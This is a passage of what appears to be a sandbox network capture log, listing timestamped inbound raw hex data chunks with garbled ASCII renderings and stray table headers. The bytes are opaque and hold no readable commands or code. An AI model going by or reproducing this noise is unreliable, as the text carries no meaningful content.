c3 e1 55 b1 f2 2e 38 1b 36 f8 9f 6c 06 b7 80 bb c3 e3 e1 bd 70 0c 7c 0f fe 0c 57 b9 28 37 83 bb c0 a3 61 7f f8 18 7c 13 fe 
0c bb 5f 92 d7 c0 d6 97 65 27 f8 6f 78 2a bc 0a 3e 08 b7 bc 22 bb c0 a3 e1 85 f0 26 f8 0c fc 05 ae 7e 55 6e 03 bb c0 a3 
e1 85 70 00 7c 1c ae 1c 87 fd 82 07 c0 0b 
Data Ascii: <zoL<n2We/xA}DC5l8_SJ>+7b8y9nCp\\![G'/Yh5/3oU.86lp|W(7a|_e'ox*>"&~Unp|

2022-09-20 10:10:09 UTC 6380 IN Data Raw: d5 3c 0c be d0 58 70 e9 6e 6e 15 f0 ab e0 ff 64 32 7e a6 65 8c 05 1f 7c 23 f0 f9 08 f1 78 f0 f3 e0 ab 19 5f a1 
79 32 f8 f8 5f e5 3e 4c 03 7f fd 37 d8 9a 8c bf a4 b9 0d 3e ef a6 a5 0e b2 b8 fa 5e 1d 57 cf 01 ef ae 2c 75 84 d5 7f c0 c8 0f 
3f a8 b4 c7 16 f7 d1 2a e1 34 56 b6 fa 90 e5 7f 5f e7 8f 05 ff 10 7c 31 9b 23 f3 f5 1c 89 07 7f 20 d4 56 36 6b ff 26 73 9f 0e 
7c 75 98 2d 9f 3f 81 d7 2b 60 ab 45 8c a7 99 f1 07 5f 0f 9e cc f8 78 33 fe e0 8f 14 b4 d5 3f 18 9f 6c e4 87 1f f4 21 b8 14 17
ab 02 7e 0d 5c 7a ff 10 4b 77 63 0a d9 ea 03 c6 27 99 f1 07 ff 01 7c 1e e3 e6 0e 6d 32 78 ef 70 5b 8c 87 a4 81 17 2d 6c 0
7 8c 07 51 0c d6 06 ef 0b fe 91 7b 0d ba 7b 6f fe bd 50 bf 18 ec 15 a4 dd 5c cc 16 cf 12 22 e0 2f 3d 51 5c 6e 6b 5d ba 67 
03 2e dd 1f 8c 03 2f 56 c2 16 df 
Data Ascii: <Xpnnd2~e|#x_y2_>L7>^W,u?*4V_|1# V6k&s|u-?+`E_x3?l!~\zKwc'|m2xp[-lQ{{oP\"/=Q\nk]g./V

2022-09-20 10:10:09 UTC 6387 IN Data Raw: 67 cc bd 52 a7 f8 7a a7 8e c1 f2 ce 9e 1a 4b a5 56 cc b6 2e fa 58 45 ad 98 ef c1 b5 58 f0 16 ae 57 ea aa f3 02 
ee b1 09 ae e5 76 31 e6 5e fa 6e 4f 9d db 65 cc bd 11 b8 2d 96 cd 3a 60 9e df 6e f0 b8 fd 48 ef c7 31 6d ba 79 6a fe d9 64 
f0 ff 80 6f 11 3c c8 43 5f c4 f1 f6 1e 4f 5d 2b ba 15 fc 27 70 db 9a 05 3e e3 01 f0 76 dd 3d 19 23 e4 7b aa 17 d2 cc 84 4f 
7e 6f 0f cf 4c 0c 1f 93 ca 79 19 96 be 6e af 11 8e 5f d9 d3 33 3d a3 d7 ec 1c d2 cc c4 31 85 f7 7a fa 9c 0b 78 f5 5e 9e ba 
17 10 f3 fc 8e 81 6b f9 00 5c 4b f4 58 6f bb 2f 93 6c ff e0 4f 83 6b fe f8 49 f0 c5 31 e7 57 63 0c 1b 5c 5b 0f d3 0c dc 05 d7 
f4 0e 7b 80 3f 7b 9f 67 8d 4d b2 0e c7 31 8e df 07 e3 70 99 48 1d 0e 0e f6 cd 9c 0f b6 28 c7 6e 4f 24 db 3f f7 ee 04 d7 f6 f
a 2a 00 ef db 1f 63 b5 e0 bd 82 f6 
Data Ascii: gRzKV.XEXWv1^nOe-:`nH1myjdo<C_O]+'p>v=#{O~oLyn_3=1zx^k\KXo/lOkI1Wc\[{?{gM1pH(nO$?*c

2022-09-20 10:10:09 UTC 6395 IN Data Raw: 80 6f 88 8d 9d a1 ce bd ba 88 7f 26 e3 38 cd b8 ca 91 fc 3f ec a3 79 01 37 3a 7d 2d cb d7 74 54 3b 1a c7 e9 
75 e0 9a 3d 83 e3 74 c5 75 8e aa d7 73 9c 6e a9 05 fd 44 ec 83 d5 fd 7d 90 b1 98 77 d4 71 d4 fb 35 c6 62 3a c0 35 7f 5d 
c6 3f 3d 5c d7 8e b3 0f e8 4b 58 ec 06 c7 73 e2 e7 c9 c6 60 9e 50 ce 2e bd 51 d7 45 18 87 bd 3b 04 67 1c 76 e5 7a 8e 57 
58 ec 49 67 fc 3e a0 2f e1 a9 9b 1c f5 0e 8f be 84 77 dc ac e3 e4 16 ca 54 70 b6 91 dc 42 9f 03 77 63 db c8 b9 f0 49 d0 
c6 08 bf fc ad 8e 7a 7e a1 2f 61 e9 fa 8e 37 5c 8c e3 e3 01 f7 1c f0 07 1a d8 e5 65 42 fe db 86 8e ca 5d c8 75 f0 08 f0 19 
02 9f 2a d6 41 2e 70 cd df 83 eb e0 18 70 ed dc c4 7d e4 d0 6d 8e 37 52 bc 7f 84 38 7f b4 bd dd 51 63 5d b9 8f 9c 00 de 
47 bc bf 87 d8 47 6e be c3 b1 e6 5b 8b ee 23 ef 03 d7 
Data Ascii: o&8?y7:}-tT;u=tusnD}wq5b:5]?=\KXs`P.QE;gvzWXIg>/wTpBwcIz~/a7\eB]u*A.pp}m7R8Qc]GGn[#

2022-09-20 10:10:09 UTC 6403 IN Data Raw: ae f0 7e 72 8e 0a bc 83 92 0b ee 31 2b 17 dc 78 f0 1e df b9 cd 6e ca d8 f5 a4 35 76 15 c5 9d 38 ee ec 5b 2f 1a 
3b c1 17 83 3b ed 85 2e 71 5e 74 02 7d b3 72 5d a1 32 1f 2c 38 a1 59 03 e0 57 e3 a4 f3 37 f2 8d 6d 0d c1 97 2a f7 5f a4 
cc 8b 56 80 b3 98 77 32 b6 0d 3d e5 bc ff ac c4 dc a6 3f ea c7 ec bb 7e e4 73 11 69 d7 02 f0 07 94 3e fa 3e ab 8f 96 76 
2d 3f ab f7 2d b4 fe 99 cb 8b b4 ab e7 cf 7c 4c 97 31 7b 04 78 a8 f2 5e 6a 2b f3 bd 11 bf 60 ed a8 f0 18 c5 b7 b0 eb 9c 66 
6f b9 d8 98 cf bb 4d 53 b9 fe bf ca de da ca bf ba cd 6a 4a df 52 d9 ea 5b 64 be 57 fa b2 db f1 fc 69 49 df 25 fb 32 f7 45 
15 c9 1b f8 6c 85 bf af 7c 97 a1 57 6e cd 1f de f7 8a 5e 1e 86 93 fb fa 9e 1b 7f 85 ef bb 13 79 78 f7 8a b3 cf a0 a4 7a a5 
95 50 af 2c c2 7d b1 c2 37 81 2b 71 0e ae cf 
Data Ascii: ~r1+xn5v8[/;;.q^t}r]2,8YW7m*_Vw2=?~si>>v-?-|L1{x^j+`foMSjJR[dWiI%2El|Wn^yxzP,}7+q

2022-09-20 10:10:09 UTC 6411 IN Data Raw: ef aa f9 7d 97 5d 13 3a e2 57 63 af 11 fe 6c 57 7a 3e c8 f9 e0 47 ef 31 a1 f9 b5 c9 db 80 7f b4 27 7c 2e c5 6f 
a0 08 bc ef 5e 63 9f 4f dd db 4f ce e9 1f cd 49 cb 01 ca f3 a5 1b ad b1 1d c2 d6 16 5a a7 fb 67 2d 47 f9 fd 19 8e 7d 56 dc 
7f 92 bf 56 03 3e 38 ee a8 7e 17 d9 b5 62 b1 6d e0 5a fb f2 6b 71 4f cc b1 a7 88 b1 f3 37 6f ec b4 01 9f 58 55 bf be 08 bc 
20 cb 51 cf f1 14 83 4f 07 d7 7c e0 4b c1 b3 aa 39 6a 5c 82 e5 e0 7d aa e9 d7 ef 00 5f 11 c1 b3 8f 88 c5 ce cc 8e 68 3f b8 
0b 1e e6 ab 58 de 7e f0 8b aa eb f5 17 81 bf 58 5d bf be 18 3c a3 46 44 fb c1 7b 45 f0 e5 e0 cb c1 c7 0a ee fb e8 ef 38 82 
df 6f 44 fb 6b 43 86 83 6b fe dd f9 e0 3d 6b 3a aa 0e 68 53 9b 31 77 75 5e c4 38 a5 b5 1c 35 bf 7d 71 6d 9e 19 d6 af 2f 
05 cf 3d c2 b1 4f 0a fe a8 df 7e f0 27 c1 
Data Ascii: }]:WclWz>G1'|.o^cOOIZg-G}VV>8~bmZkqO7oXU QO|K9j\}_h?X~X]<FD{E8oDkCk=k:hS1wu^85}qm/=O~'

2022-09-20 10:10:09 UTC 6419 IN Data Raw: c8 3e 28 65 79 b7 c1 24 c8 be ec 92 9d 2b f7 71 9c 43 6a 0e 37 76 89 4b 97 f1 5c 8d 5f 55 87 99 71 30 f6 2a f7 
3c dc fc c0 38 b8 27 07 1f 8a bf a7 c0 b5 fc 07 d4 01 ff 17 5c f3 25 63 bd 34 1d 69 54 5b 0b eb b8 c3 48 f7 ba 4d ee e1 ef 
54 f0 5c 77 77 54 80 6b 3a 23 fa c7 4e 03 57 f3 1a 80 2f 00 57 ef 2e 01 7f 23 07 0f f2 8c 8f 34 39 f3 8c 75 1b 65 d4 7c 7d 
cc 33 d6 0b bc 8f f8 7d af f0 f7 8c 1f bb 2a 07 67 9e b1 87 58 be e8 cb d1 dd 8f cc 33 36 7b b4 b1 ad c5 3c d1 22 d4 a9 d0 
86 f4 fc 18 63 af cb 1e ab 55 3a 95 e1 d5 63 3a 15 fa 29 6d 19 67 54 df 48 fa 29 d5 bc 21 b6 77 e4 de a2 65 e4 87 ca 3c 
e3 75 c6 1b 99 2f 83 7b 94 61 91 ae 99 f7 2c f6 1b 6f 9c b1 00 2c 83 f7 e9 1e 5b 61 64 4c 09 9f d3 24 7a 4e 43 7c 6f d7 09 
c6 9a f8 73 d6 47 7b 21 fa 29 6d 9e a0 bf 
Data Ascii: >(ey$+qCj7vK\_Uq0*<8'\%c4iT[HMT\wwTk:#NW/W.#49ue|}3}*gX36{<"cU:c:)mgTH)!we<u/{a,o,[adL$z
NC|osG{!)m

2022-09-20 10:10:09 UTC 6426 IN Data Raw: 65 db 0b e6 59 a3 55 ae cc e5 45 bf 8c 04 38 e6 d9 10 c2 a5 5c 08 cc b3 51 09 70 cc b3 f1 84 4b b1 3c 98 67 
d3 08 97 f8 a9 30 cf 8a ae 76 ad f6 ca e8 3c 9b b5 5a de 7f 30 cf 56 26 b8 1e f3 ac f1 1a d7 7c cd f0 af fc 75 46 f8 59 c2 
a5 5c 0f f8 09 36 7d ea 9a fc ec fb 25 31 3f c1 bb 6b 65 bd 0a 7e 82 92 eb 5c 5e af 30 fc bd e7 43 84 9f e0 bb 0d 2e f7 f7 
62 ee 35 f0 f3 7f 90 83 74 69 93 6b c6 b0 3e 8c f4 fa 80 1c a4 8e 9f bb 22 ef 2d 72 90 9e db 2c eb ec 88 9d 3c 40 b8 94 
07 84 5a 85 dd bf 90 65 df 74 70 8c 11 ce 62 50 c2 55 7c 1b 0f e1 07 b7 b8 62 8e 1a f8 2f 47 6f b5 db 90 f2 5a 7b eb b6 ca 
b2 2c d6 5e ce 56 79 ed 60 ed 65 6c 93 af c7 da 7b 61 9b 7c 6e 63 ed 7d bb 2d 30 b7 70 6e ef f4 cf ed 8d f4 7b 76 bb 2b 
d6 8c 50 f4 3b 4a 78 93 58 fc 69 7f 7e c3 be 96 
Data Ascii: eYUE8\QpK<g0v<Z0V&|uFY\6}%1?ke~\^0C.b5tik>"-r,<@ZetpbPU|b/GoZ{,^Vy`el{a|nc}-0pn{v+P;JxXi~

2022-09-20 10:10:09 UTC 6434 IN Data Raw: fe f4 8f 8d 73 76 7c e2 ec 69 c9 06 47 f4 db 87 b3 a7 5b ff ed db af a1 1e df da 73 64 f8 55 db 43 69 fe e9 1f 2f 
8d ac 2f d9 19 94 e6 8f 8d 8e 49 f3 cb 1d 29 76 4c 6d a4 34 ff dc ec 88 f1 f0 e0 c3 77 47 08 87 0f df 6a 5b e4 ef 19 36 ae 
5d 42 38 6c 5c 27 87 70 d8 b8 6e 21 6e 58 7b ff e9 b5 37 6c 5c e7 6d 73 cc 00 bf 1c ff bc b5 a9 98 4f 69 dc 8f 65 d9 63 0b 
f1 36 9f c8 eb cb 61 f8 ad 21 1e 14 6b 3d ba 17 22 9e ba 33 58 7e 44 19 cb 90 ec 54 f9 53 87 9f c7 46 fd 56 db 31 f1 08 fc 
e1 7e e6 98 51 ec 19 c3 bc 32 76 21 3e 86 78 84 c9 26 26 fa ed 45 fd 2a c1 cf cc 17 8e b9 89 e9 b9 a3 7b f4 dc 7e bf 21 
90 05 9b 7f ed 88 b6 aa 90 05 3b 12 af 1b cb 63 ce ff 21 0b a6 11 97 ce 56 21 0b d6 d9 2d 73 c8 82 57 88 07 9d 41 e5 24 
47 9c d9 13 ac 8b ca 92 23 ee de 2b ef 8b 
Data Ascii: sv|iG[sdUCi//I)vLm4wGj[6]B8l\'pn!nX{7l\msOiec6a!k="3X~DTSFV1~Q2v!>x&&E*{~!;c!V!-sWA$G#+

Timestamp
kBytes
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2022-09-20 10:10:09 UTC 6442 IN Data Raw: 15 ce 33 26 0f 28 9c 67 4c 5e bb 40 89 37 82 3f be 40 1e 9f 79 c6 e4 1a a5 3c cf 98 3c ab f0 18 f0 07 32 94 f1 
0f fc 55 85 27 81 ef cc 50 e6 3f f0 9b 16 2a ef 0f 9e a0 f0 e3 e0 4b 14 7e 1e fc 1b 85 d7 e5 3e a3 8b 8c b8 7e 27 06 7c da 
22 79 fc ec 09 7e 4a e1 49 fc fd c5 32 4f 03 7f 55 e1 b9 dc 67 75 b1 3c fe 1c 07 bf 21 53 1e 5f ce 83 bf 98 29 fb 21 eb 56 
89 88 38 9a 29 cf 2f 31 e0 37 2e f1 ae bf 70 7a 55 fb 25 de b6 0c 63 7c d4 ab a6 83 2f 09 e5 17 62 7c 73 02 61 a7 70 bf 1f 
b1 d4 88 67 a6 f3 f7 e3 c0 bd 72 92 c2 fa 6f 96 ca f3 1d 7f 37 72 99 71 f2 2c fd 78 b3 a5 7f 2f c8 32 ea 9e 55 79 59 72 7b 
52 1f bc e2 3d e3 ec b7 78 be a5 0f 6e 06 f7 5a b3 1f d0 07 0f 2d 37 9e 67 ca 06 f4 c1 d4 15 de fa 52 d8 5c 2b 94 93 72 7f 
59 2f 3d 57 1a cf 3d d5 a3 2f d6 4b eb 
Data Ascii: 3&(gL^@7?@y<<2U'P?*K~>~'|"y~JI2OUgu<!S_)!V8)/17.pzU%c|/b|sapgro7rq,x/2UyYr{R=xnZ-7gR\+rY/=W=/K

2022-09-20 10:10:09 UTC 6450 IN Data Raw: 69 da 9b e5 73 f5 84 cc 7a f2 91 d6 df 4c da 84 ce ed 3a c2 f4 2f 50 ed 88 40 30 b5 58 2f 0d 12 09 f2 7d e6 3d 
db c0 13 7b 05 16 6b b9 c1 f4 85 7e a4 2c 0b 04 d3 0b 77 a0 91 ef 52 8e c9 8e ff 8a f4 31 f6 3f be 78 9b c8 77 ad 39 8f 36 
25 e6 dd 2b 46 d8 7e ae 59 67 71 b0 54 9b 1a 4c 8f 58 05 37 37 06 b5 e7 51 5f 1b 33 ed df 91 36 f1 8d 30 36 fe be f8 1e 
80 de 78 4e 01 1b 65 f2 ca 12 6a cb 62 7f 6e 30 b4 30 b5 20 98 a3 2d 0b 66 47 82 39 13 02 c1 10 88 95 8e 76 a5 e5 ee 
0a a6 46 f4 b9 c1 2c bc 8f 8f 1f d9 9d 8c 51 86 1c e3 d4 27 e6 da f3 a0 80 3d 4d 2e d4 fd d7 6a 8e ff 73 75 be dd 09 7e 6a 
7f 8b c9 37 a8 4d 1b 14 4c 0d 99 fc 54 86 f7 c1 66 fa 9e 88 9f 5c 8c b4 89 d8 20 b1 be 6b e3 4d e6 2b d4 b5 77 cc 3f fb e9 
6c 39 03 cc 72 6a 6e 35 1c 31 e1 31 4e 4b 68 9c 
Data Ascii: iszL:/P@0X/}={k~,wR1?xw96%+F~YgqTLX77Q_3606xNejbn00 -fG9vF,Q'=M.jsu~j7MLTf\ kM+w?l9rjn511NKh

2022-09-20 10:10:09 UTC 6458 IN Data Raw: 7f 78 2a 91 49 14 15 b5 44 23 d1 4a 6c 17 fb 45 71 ad 83 d6 4b 9b a7 a5 d5 b3 ea 65 f5 6e 7a 5f 7d 93 7e 40 
bf a2 df d3 df eb d1 8c 04 46 4a 23 bb 21 8c f2 46 3b a3 8f 31 d3 58 68 1c 33 ee 1a 29 cd 92 e6 20 73 94 79 d4 3c 6b c6 
b6 32 58 39 ac 72 56 35 6b a2 35 c3 7a 6c bd b6 72 d9 d4 ee 6c 2f b5 77 d8 17 ec ce ce 40 67 ba b3 c5 b9 ee 7c 72 fe 75 
52 b8 8e 5b cc ad e5 36 71 a7 ba 87 dc 9b 6e 12 2f ab e7 7a ed bd 47 5e 46 59 57 4e 97 97 b0 ae 65 fd 11 fe a1 60 5d 0b 
86 42 aa f7 1f 71 49 4f b2 89 bc 23 79 69 4b ba 88 de a3 69 59 4d 36 85 9d 63 71 79 49 3e 84 ef e3 bf b8 29 ba 8a 75 88 
c2 9c 5a 53 6d 94 b6 58 db a7 dd d4 be 68 42 ef a8 ef d4 13 1a b3 8d 3b c6 13 33 19 be 70 88 75 c8 fa 68 71 bb b1 bd d0 
3e 6f 27 72 0a 3a 03 9c b5 ce 5b ac 4d 7d 77 ac 7b 1a ab 
Data Ascii: x*ID#JlEqKenz_}~@FJ#!F;1Xh3) sy<k2X9rV5k5zlrl/w@g|ruR[6qn/zG^FYWNe`]BqIO#yiKiYM6cqyI>)uZ
SmXhB;3puhq>o'r:[M}w{

2022-09-20 10:10:09 UTC 6466 IN Data Raw: c6 4d 5e 84 97 e2 81 b6 0a f6 b2 5e 61 44 bf 79 14 11 38 a6 0e c0 a8 d4 5a 66 ed 89 f6 53 8b a2 33 bd 84 5e 
01 be 74 95 7e 56 cf 68 78 70 3d 81 3b 0d f6 3e b2 99 79 4c dd 74 cd ce e6 76 70 52 7e b8 9c e1 d0 36 f7 ad e7 16 b1 4d 
85 41 ef c0 d5 35 e0 d7 83 5a ba 45 e0 a3 4e 6e 2f 37 96 97 08 4e 73 8b f7 c9 4b 2a 8b c8 0e 88 97 b3 d0 8d e9 fc c2 7e 
0f 7f 2c bc fa 3e ff a8 7f de bf 89 a8 79 eb 7f 87 26 8e a2 f6 c8 a3 90 78 24 05 c9 44 f2 20 66 7c 52 4a d5 47 d6 27 cd a0 
7e ba 20 7a 06 92 11 40 9c bf c9 1c 68 90 3d 88 a0 f3 c0 9d 98 34 d0 22 0d 10 37 33 95 16 4a 09 df 33 1b 8c b2 9d 3d 67 
ff b2 e8 bc 39 a2 67 30 3f c9 ef f1 67 fc b1 78 25 a2 c0 07 2e 80 af 99 0d 05 79 c8 f8 07 7c 7b c6 cc 63 35 b6 86 5a 33 ad 
85 d6 2b eb 93 65 db 85 ed 66 d0 20 8b a1 28 a5 d3 
Data Ascii: M^^aDy8ZfS3^t~Vhxp=;>yLtvpR~6MA5ZENn/7NsK*~,>y&x$D f|RJG'~ z@h=4"73J3=g9g0?gx%.y|{c5Z3+ef (

2022-09-20 10:10:09 UTC 6473 IN Data Raw: 1d fa 88 be a2 d9 55 34 6e 86 fe 78 c5 3e b1 3a bc 1b dc d1 31 e8 a4 3a a2 a3 e8 29 b6 88 3d 22 93 76 58 bb 
a6 7f d0 3b 19 bd e0 c2 af 19 81 02 f9 06 a7 c4 ac 12 56 05 ab a8 5d 4b dd 53 d9 67 1f b3 ff 75 86 b8 4b dd e3 40 bd 27 
4a a1 15 83 3e db e1 95 82 2b 0a 3a 57 ad 97 a7 e5 6d f9 4c 46 86 be 0e 76 55 7b f8 e3 fc 7f 94 37 88 a1 7a fb d4 50 fd 
55 a6 92 3d d0 b4 af c9 67 92 41 9d de 36 57 75 27 b7 d5 dd ac f0 b7 f6 61 e3 81 0d f7 f0 b5 94 17 e3 0d e1 e7 f6 e1 8b 
bf f2 64 50 1a dd b0 22 ab e0 23 5f 88 3f 22 86 96 45 37 f5 5b d0 72 29 a1 28 ca 41 4f f4 37 66 40 4f 6c 32 8e 19 17 8c e7 
46 14 33 85 99 c7 d4 d4 5d f6 1a d0 13 ed cc e1 e6 32 73 9b 79 50 ad 4c 3c b5 63 ba d2 3a 6c 85 ec 4c b6 a3 10 70 90 
da ab fb 17 11 57 d2 69 e6 f4 77 66 00 23 ca b8 6d 10 6f 
Data Ascii: U4nx>:1:)="vX;V]KSguK@'J>+:WmLFvU{7zPU=gA6Wu'adP"#_?"E7[r)(AO7f@Ol2F3]2syPL<c:lLpWiwf#mo

2022-09-20 10:10:09 UTC 6481 IN Data Raw: e5 39 39 87 5a ac c7 87 f2 90 c8 2e 86 89 25 e2 a7 c8 a4 d5 d1 5a 6b a3 80 ec 9f b4 d4 7a 5f 28 df c7 7a 22 
a3 84 31 d0 b0 cc 92 66 4b 60 d5 34 73 89 79 cc bc 6a be 36 d3 5b 7d b1 0a 73 ac 4d c0 6c 6a 57 b2 ff b6 d7 d9 5f 9c 6c 
6e 09 b5 83 77 d8 4d e4 6d f7 ee 78 df bc 64 32 9d ac 2e bb c8 3e f2 00 50 f8 a9 cc a7 18 79 57 98 8d e1 35 62 87 be e1 
6f 39 a0 14 ca 42 e9 ee 27 41 77 fa c8 aa 3b 75 70 67 3f 0f be 72 0d df c2 7f f0 5c f0 93 2d c1 b5 02 dc 53 5b eb aa 0d 8f 
a8 ff 7b 03 ad 1e 47 cf 0b b5 5e 47 6f 85 6f 1e a9 4f d3 d7 eb 87 f4 fb ea 5e 6a 1e a3 a0 51 12 58 35 c4 98 0e 87 b9 43 f5 
4f 7f 03 35 9b de e4 a6 83 11 05 77 a7 96 c0 6d 5f 36 1f 9a 5f a1 8a 12 59 79 c0 d6 75 ac 8e f0 9d 8b d5 29 fb 43 eb 5f 2b 
b1 aa f7 2a 68 97 87 4f 19 08 1c cb e4 54 74 6a 
Data Ascii: 99Z.%Zkz_(z"1fK`4syj6[}sMljW_lnwMmxd2.>PyW5bo9B'Aw;upg?r\-S[{G^GooO^jQX5CO5wm_6_Yyu)C_+*
hOTtj

2022-09-20 10:10:09 UTC 6489 IN Data Raw: d5 8d ec a1 c8 a7 55 82 c6 1a 00 5d 9c c7 ec 6f 9e 32 23 59 0f 5c dd 1b 80 ac d8 e6 bd f5 12 c8 8e 58 9f 50 c6 
04 ea 9b 09 69 4c 4e 42 51 2f 67 b7 59 88 ff 2b 5c ed bb d5 06 ec fa cc 76 1d cd db e8 5d f7 32 21 46 83 ff 30 41 a8 2a fe 
36 91 6c 84 16 2f 42 cf d3 d7 c8 90 22 ac 28 f0 77 2d 3f cb 1d e4 75 17 71 48 bc 16 e5 f5 9e 88 b2 5a 46 59 b3 95 ea 0a 
55 ca ea 6c 6d b6 2e 5b d1 ec c2 76 11 b7 21 72 37 96 77 c8 8b 1e c4 c7 84 04 6a 1d 6f c1 2b 8e 86 53 6e a9 8f d5 43 eb 
12 a8 b5 29 ea 8f 86 96 0a ff fb 36 74 28 5d 4a 4f 03 19 d3 b2 d0 bd 04 aa 0f ff 50 be 02 7e a4 9c e8 2c 06 88 64 9a ad 
95 d4 6e 6b 91 f5 84 70 01 27 f4 6b 7a 3b 63 92 31 df d0 cc da 50 87 bf cd cc 16 81 42 7a 81 08 18 0b bf b4 cf ae e6 f4 76 
46 38 e9 a0 19 2a 42 e5 c5 86 a6 5e ed 5d 00 96 
Data Ascii: U]o2#Y\XPiLNBQ/gY+\v]2!F0A*6l/B"(w-?uqHZFYUlm.[v!r7wjo+SnC)6t(]JOP~,dnkp'kz;c1PBzvF8*B^]

2022-09-20 10:10:09 UTC 6497 IN Data Raw: af b5 03 8f fc a9 49 50 6e 8d f5 75 60 03 cf f4 58 a6 e8 ad e9 6c a6 b0 f2 83 cf e6 b5 ab d8 ed ec a9 f6 56 fb 
bc 2d fc d0 4d b7 22 d4 a6 98 da 3e 04 e7 60 9a 3b 1f 1a 63 8b 7b 0e 3a 2b 3e 4f c1 d3 f3 2c 5c e6 65 78 33 de 9b 0f e6 
db f8 69 7e 99 37 06 87 1c e3 cd 82 c2 de 13 9c 5f eb fb 65 b0 de ed fd be fe 20 70 df 50 d2 db 09 a5 94 58 df e6 50 dc 
22 13 ff 90 a2 cb 69 a1 bb 75 d9 43 24 0f 97 e7 c8 4b 64 86 28 6e 0d 5c 18 a1 7c 01 26 84 ab b9 b1 d6 d5 d5 a6 6a 2b 
75 80 3a 4e 9d ac ee 56 6f 00 3b e3 6a 49 b5 52 5a 65 ad 25 98 ce 30 6d 3c 38 fe ff dc e2 ff e7 bc fa 17 ea a5 ac b1 94 1c 
22 46 b1 d5 c0 84 5b ec 11 0b 4c 3a da 61 3e 36 db 5a 5d 11 e3 37 ad 10 b0 b6 e6 f6 26 fb 38 be fc b3 9d d9 71 9d 1a 4e 
03 64 d5 34 41 ff cb cd 6e 7c 64 51 8f 57 e2 b5 a8 67 
Data Ascii: IPnu`XlV-M">`;c{:+>O,\ex3i~7_e pPXP"iuC$Kd(n\|&j+u:NVo;jIRZe%0m<8"F[L:a>6Z]7&8qNd4An|dQWg

2022-09-20 10:10:09 UTC 6505 IN Data Raw: 3f ca d7 94 7b 50 38 3e 32 f5 2e 9a 3f 14 98 20 f0 8a 5e 72 03 f7 01 13 f4 a5 fa 5a 7d bd b1 cd 78 47 93 10 65 
20 f3 33 16 1b 48 56 d3 9c 60 ae 35 b7 9a eb ac bc 60 f5 3d ec b1 f6 54 fb ba fd c6 fe 42 93 29 0b 39 6d 9c 81 ce 48 67 
87 73 16 7b 3d 89 aa 14 54 7a 9f 9e c4 67 61 45 b3 7a 81 0e a7 89 de 32 6f 1d 98 ec 17 64 8e e3 fe 79 e2 6a e9 e9 7d 5a 
bc c3 c7 94 13 c8 86 ec 61 2d 6f 22 f2 12 41 13 5f 54 ca a9 8d d5 d6 60 a7 8f d4 57 6a 56 68 cd 6d e0 a3 a2 87 63 3a 10 
6d 0b 4d 3c 10 7d 29 1f 8c d8 2c 31 6b 07 06 a4 9b 3e 14 57 3b f3 af 19 db 92 ac 3a 41 36 de 1e 99 2f dc 29 e0 34 72 ba 
3b fd 9d 3f 4e 04 58 5a 63 b7 b3 db db 7d e2 26 e0 32 2f 0b a4 dd 07 06 f4 82 7f e6 71 bd e4 5e 0e af 90 57 d7 13 d3 07 
3b 79 3d bd 01 c8 78 e3 10 b5 73 bc c5 de 2a 6f a3 b7 
Data Ascii: ?{P8>2.? ^rZ}xGe 3HV`5`=TB)9mHgs{=TzgaEz2odyj}Za-o"A_T`WjVhmc:mM<}),1k>W;:A6/)4r;?NXZc}&
2/q^W;y=xs*o

2022-09-20 10:10:09 UTC 6512 IN Data Raw: 28 f5 d4 aa a5 8a db a9 65 40 82 13 e0 ee 0c fa a8 9b d6 4f cb a7 57 a4 cc 29 bc 6b ce 90 93 4a 18 4b 65 ca 
34 bd 7b 06 74 ed 63 aa 9f f7 c1 3f b6 82 31 70 bb 32 39 84 6c b6 5f 83 89 16 01 3b 16 ee ca f1 dd 70 b7 a8 5b d5 ed ea 
8e 04 8a ae 70 37 ba 47 dc 9b ee 43 f7 37 54 6c 5e 5e 8a 37 e0 dd f8 18 7e 16 91 b3 d6 6b 49 b3 54 0e 03 c1 09 c1 c0 ef 
02 df d0 41 1a 02 25 bb 01 da ae 14 72 65 27 ec c9 5c f9 9a fc 50 49 ac 3a 6a 07 55 f8 d3 cc d0 16 00 d7 93 eb 05 f4 be 
7a 6a c3 81 8a 13 4e 88 3f 0d d1 6f 53 8d b5 67 23 d8 42 28 8b 8b ec 25 72 4b 7a 53 4c 86 ee 60 ce 22 27 80 97 66 1c 2b 
89 65 50 77 d2 4c ea ba 9f 4e 9d 20 01 e7 95 c0 cd 63 0c 68 f0 42 41 97 b4 ed 34 45 e0 1f b2 65 11 ac fe 4a 9c e2 59 de 
ee a0 9f 54 24 54 5e 7e bf 03 94 de 3a ff 4a e0 35 10 1c 
Data Ascii: (e@OW)kJKe4{tc?1p29l_;p[p7GC7Tl^^7~kITA%re'\PI:jUzjN?oSg#B(%rKzSL`"'f+ePwLN chBA4EeJYT$T^~:J5

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:09 UTC 6520 IN Data Raw: d3 d8 de 63 a7 0b ce 2f de e9 3c 72 42 80 35 59 f0 1d 02 6f e2 f3 0e 7c 14 cf eb 17 f2 4b f9 23 fc 6b 7e c8 fa 
28 aa 61 c9 25 89 29 cc 81 ce c0 31 72 56 30 fa 79 c0 f0 57 4a 3b 55 bc 86 ef d4 0e 92 0b 6f 61 bd ac 5e 03 8c 2a 30 b1 
f1 1e b1 87 83 74 af 5a 84 75 60 8b c8 77 f2 25 fb c7 e2 98 c5 ad d2 60 51 79 9c 16 ce 7a e7 08 94 6b 6c 37 6b 70 96 d4 
4c 9c fa 6d 6e 0c ae 71 17 ab 28 6e b9 44 07 8b e0 0d 63 fd a9 fe 01 ea 07 8a 22 0d 15 86 df d3 47 9a 2b ad 96 b6 49 b7 
a5 8c 72 36 b9 b8 5c 15 18 30 54 de 49 77 a5 a2 e6 62 16 18 e7 76 45 74 25 c6 d2 12 69 45 b5 5a 5a 23 6d 9a b6 41 fb 
ad 95 82 7e 12 d1 2b a6 b5 07 7a c1 ca 40 eb 05 fc 20 02 93 23 75 bb 24 ce d8 53 ec 7e 84 53 98 66 1c 25 73 ff ba e9 10 
9b 0d 78 2b fc b6 d9 7c 2b 2f 0b 54 1e 06 2c be 87 fd fd 
Data Ascii: c/<rB5Yo|K#k~(a%)1rV0yWJ;Uoa^*0tZu`w%`Qyzkl7kpLmnq(nDc"G+Ir6\0TIwbvEt%iEZZ#mA~+z@ #u$S~S
f%sx+|+/T,

2022-09-20 10:10:09 UTC 6528 IN Data Raw: 92 40 eb fa ff 9d 92 80 e7 dd 14 79 8e fc 5c 4e 49 bb 20 3a e8 af 28 bf 94 54 40 6a 05 59 55 dc 58 2d 05 4a 5c 
